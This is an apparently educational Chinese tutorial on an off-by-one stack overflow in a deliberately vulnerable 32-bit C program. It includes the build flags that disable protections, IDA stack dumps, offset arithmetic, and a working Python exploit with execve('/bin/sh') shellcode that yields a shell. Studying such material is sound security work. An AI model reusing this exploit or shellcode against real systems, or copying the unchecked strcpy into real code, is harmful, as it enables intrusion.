ubuntu-16.04.5(X86)

IDA7.0

0x00.漏洞描述

1.什么是off by one？又称1字节溢出。

源字符串长度等于目标缓冲区长度时，将源字符串复制到目标缓冲区可能会导致off by one。

当源字符串长度等于目标缓冲区长度时，NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中，所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低位（1字节），这可能导致任意的代码执行。

0x01.漏洞分析

1.示例代码：

 1 #include <stdio.h>
 2 #include <string.h>
 3 void foo(char* arg);
 4 void bar(char* arg);
 5 void foo(char* arg) {
 6 bar(arg); /* [1] */
 7 }
 8 void bar(char* arg) {
 9 char buf[256];
10 strcpy(buf, arg); /* [2] */
11 }
12 int main(int argc, char *argv[]) {
13 if(strlen(argv[1])>256) { /* [3] */
14 printf("Attempted Buffer Overflow\n");
15 fflush(stdout);
16 return -1;
17 }
18 foo(argv[1]); /* [4] */
19 return 0;
20 }

编译生成目标文件:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

上述示例代码的第[2]行是可能发生off by one溢出的地方。目标缓冲区长度为256，因此长度为256字节的源字符串可能导致任意代码执行。

2.如何产生任意代码执行？动态调试，如下图1所示，拷贝字符串前栈情况。

　　　　　　　　　　图1

如果调用foo者的EBP位于目标缓冲区之上，则在strcpy之后，单个NULL(0x00)字节将覆盖调用者EBP的最后一个字节，如图2所示。

　　　　　　　　　　图2

构造poc

//偏移

0xBFFFEF00-0xBFFFEE58+0x4=0xAC

python -c "print 'A' * 172 + 'B' * 4 + 'C' * 80"

执行strcpy之后，存储在目标缓冲区buf之上的EBP被一个NULL(0x00)字节所覆盖，ebp从0xBFFFEF64变为0xBFFFEF00(可对比图1图2)。从调试器堆栈布局我们可以看到堆栈位置0xBFFFEF00是目标缓冲区buf的一部分。

//拷贝前栈
BFFFEE58  F63D4E2E  
BFFFEE5C  B7E0CF12  libc_2.23.so:B7E0C
BFFFEE60  000008EA  
BFFFEE64  B7E16618  libc_2.23.so:B7E16
BFFFEE68  B7E15DC8  libc_2.23.so:B7E15
BFFFEE6C  07B1EA71  
BFFFEE70  B7FF7AC4  ld_2.23.so:__get_c
BFFFEE74  BFFFEF20  [stack]:BFFFEF20
BFFFEE78  B7FF59F3  ld_2.23.so:__get_c
BFFFEE7C  B7FD5470  debug003:B7FD5470
BFFFEE80  00000000  
BFFFEE84  00000000  
BFFFEE88  B7FFF000  ld_2.23.so:B7FFF00
BFFFEE8C  B7FFFC08  ld_2.23.so:_r_debu
BFFFEE90  00000000  
BFFFEE94  00000000  
BFFFEE98  00000000  
BFFFEE9C  BFFFEF2C  [stack]:BFFFEF2C
BFFFEEA0  B7FE3FC9  ld_2.23.so:_dl_rtl
BFFFEEA4  00000000  
BFFFEEA8  B7FFFAD0  ld_2.23.so:_r_debu
BFFFEEAC  BFFFEF28  [stack]:BFFFEF28
BFFFEEB0  BFFFEF70  [stack]:BFFFEF70
BFFFEEB4  B7FE4B4B  ld_2.23.so:_dl_rtl
BFFFEEB8  08048220  LOAD:08048220
BFFFEEBC  BFFFEF28  [stack]:BFFFEF28
BFFFEEC0  B7FFFA74  ld_2.23.so:_r_debu
BFFFEEC4  00000001  
BFFFEEC8  B7FD54A0  debug003:B7FD54A0
BFFFEECC  00000001  
BFFFEED0  00000000  
BFFFEED4  00000001  
BFFFEED8  B7FFF918  ld_2.23.so:_r_debu
BFFFEEDC  00F0B5FF  
BFFFEEE0  BFFFEF1E  [stack]:BFFFEF1E
BFFFEEE4  00000001  
BFFFEEE8  000000C2  
BFFFEEEC  B7E996BB  libc_2.23.so:strer
BFFFEEF0  BFFFEF1E  [stack]:BFFFEF1E
BFFFEEF4  BFFFF020  [stack]:BFFFF020
BFFFEEF8  000000E0  
BFFFEEFC  00000000  
BFFFEF00  B7FFF000  ld_2.23.so:B7FFF00
BFFFEF04  B7FFF918  ld_2.23.so:_r_debu
BFFFEF08  BFFFEF20  [stack]:BFFFEF20
BFFFEF0C  08048293  LOAD:aLibcStartMai
BFFFEF10  00000000  
BFFFEF14  BFFFEFB4  [stack]:BFFFEFB4
BFFFEF18  B7FBB000  libc_2.23.so:B7FBB
BFFFEF1C  0000FF17  
BFFFEF20  FFFFFFFF  
BFFFEF24  0000002F  
BFFFEF28  B7E15DC8  libc_2.23.so:B7E15
BFFFEF2C  B7FD51B0  debug003:B7FD51B0
BFFFEF30  00008000  
BFFFEF34  08049FF4  .got.plt:_GLOBAL_O
BFFFEF38  00000002  
BFFFEF3C  08048341  _init_proc+29
BFFFEF40  00000002  
BFFFEF44  00000000  
BFFFEF48  08049FF4  .got.plt:_GLOBAL_O
BFFFEF4C  08048531  __libc_csu_init+21
BFFFEF50  B7FBB000  libc_2.23.so:B7FBB
BFFFEF54  B7FBB000  libc_2.23.so:B7FBB
BFFFEF58  BFFFEF64  [stack]:BFFFEF64
BFFFEF5C  08048475  foo+11
BFFFEF60  BFFFF20D  [stack]:BFFFF20D
BFFFEF64  BFFFEF78  [stack]:BFFFEF78
BFFFEF68  080484F9  main+62
BFFFEF6C  BFFFF20D  [stack]:BFFFF20D

//拷贝后栈
BFFFEE58  41414141  
BFFFEE5C  41414141  
BFFFEE60  41414141  
BFFFEE64  41414141  
BFFFEE68  41414141  
BFFFEE6C  41414141  
BFFFEE70  41414141  
BFFFEE74  41414141  
BFFFEE78  41414141  
BFFFEE7C  41414141  
BFFFEE80  41414141  
BFFFEE84  41414141  
BFFFEE88  41414141  
BFFFEE8C  41414141  
BFFFEE90  41414141  
BFFFEE94  41414141  
BFFFEE98  41414141  
BFFFEE9C  41414141  
BFFFEEA0  41414141  
BFFFEEA4  41414141  
BFFFEEA8  41414141  
BFFFEEAC  41414141  
BFFFEEB0  41414141  
BFFFEEB4  41414141  
BFFFEEB8  41414141  
BFFFEEBC  41414141  
BFFFEEC0  41414141  
BFFFEEC4  41414141  
BFFFEEC8  41414141  
BFFFEECC  41414141  
BFFFEED0  41414141  
BFFFEED4  41414141  
BFFFEED8  41414141  
BFFFEEDC  41414141  
BFFFEEE0  41414141  
BFFFEEE4  41414141  
BFFFEEE8  41414141  
BFFFEEEC  41414141  
BFFFEEF0  41414141  
BFFFEEF4  41414141  
BFFFEEF8  41414141  
BFFFEEFC  41414141  
BFFFEF00  41414141  
BFFFEF04  42424242  
BFFFEF08  43434343  
BFFFEF0C  43434343  
BFFFEF10  43434343  
BFFFEF14  43434343  
BFFFEF18  43434343  
BFFFEF1C  43434343  
BFFFEF20  43434343  
BFFFEF24  43434343  
BFFFEF28  43434343  
BFFFEF2C  43434343  
BFFFEF30  43434343  
BFFFEF34  43434343  
BFFFEF38  43434343  
BFFFEF3C  43434343  
BFFFEF40  43434343  
BFFFEF44  43434343  
BFFFEF48  43434343  
BFFFEF4C  43434343  
BFFFEF50  43434343  
BFFFEF54  43434343  
BFFFEF58  BFFFEF00  [stack]:BFFFEF00
BFFFEF5C  08048475  foo+11
BFFFEF60  BFFFF20D  [stack]:BFFFF20D
BFFFEF64  BFFFEF78  [stack]:BFFFEF78
BFFFEF68  080484F9  main+62
BFFFEF6C  BFFFF20D  [stack]:BFFFF20D

3.根据栈回溯，可以控制这个堆栈位置（0xBFFFEF00），因此他控制指令指针（eip ）使用他可以实现任意代码执行，如图3图4。

　　　　　　　　　　图3

　　　　　　　　　　图4

leave指令相当执行了两条指令 mov ebp, esp; pop ebp，而EPB后面刚好是函数返回地址，再执行ret指令时EIP就指向了攻击者可以控制返回地址。

4.Poc编写获取shell

 1 #!/usr/bin/env python
 2 import struct
 3 from subprocess import call
 4 #execve(/bin/sh)
 5 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
 6 ret_addr = 0xBFFFEF18
 7 def conv(num):
 8 return struct.pack("<I",num)
 9 buf = "A" * 172
10 buf += conv(ret_addr)
11 buf += "\x90" * 30
12 buf += shellcode
13 buf += "\x90" * 22
14 print "Calling  program"
15 call(["./vuln", buf])

　　　　　　　　　　图5

图5所示，成功获取shell。

0x02.总结

1.如果堆栈是随机的就不能成功利用，每次大小都是不一样的，很难固定shellcode的位置，所以关闭了ASLR。还有就是被溢出的地址必须得是buf的地址才能有机会成功。